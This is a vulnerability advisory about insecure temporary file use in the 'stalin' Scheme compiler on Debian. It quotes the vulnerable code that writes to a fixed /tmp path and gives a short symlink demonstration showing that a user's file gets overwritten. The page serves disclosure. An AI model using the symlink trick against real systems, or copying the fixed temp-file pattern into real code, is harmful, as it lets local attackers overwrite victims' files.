Stalin Insecure use of temporary files

2015.12.27

Credit: Steve

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

When `stalin` launches it attempts to detect its environment via
the following code in /usr/lib/stalin/QobiScheme.sc:

   
    (system "uname -m >/tmp/QobiScheme.tmp")
    ...
    (system "rm -f /tmp/QobiScheme.tmp"))

This is a prime example of the insecure use of temporary files,
and allows overwriting any file owned by the user who invokes
stalin.

Trivial demonstration:


    $ ln -s /home/steve/HACK /tmp/QobiScheme.tmp
    $ ls -l /home/steve/HACK
    ls: cannot access /home/steve/HACK: No such file or directory

Now run the sample code:

    
    $ cd /tmp/stalin-0.11/benchmarks
    $ ./make-hello

And we see this:

    $ ls -l /home/steve/HACK
    -rw-r--r-- 1 steve steve 6 Dec 22 08:30 /home/steve/HACK



-- System Information:
Debian Release: 8.2
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages stalin depends on:
ii  dpkg-dev   1.17.26
ii  libc6      2.19-18+deb8u1
ii  libgc-dev  1:7.2d-6.4

stalin recommends no packages.

stalin suggests no packages.

-- no debconf information


Steve

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Stalin Insecure use of temporary files

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.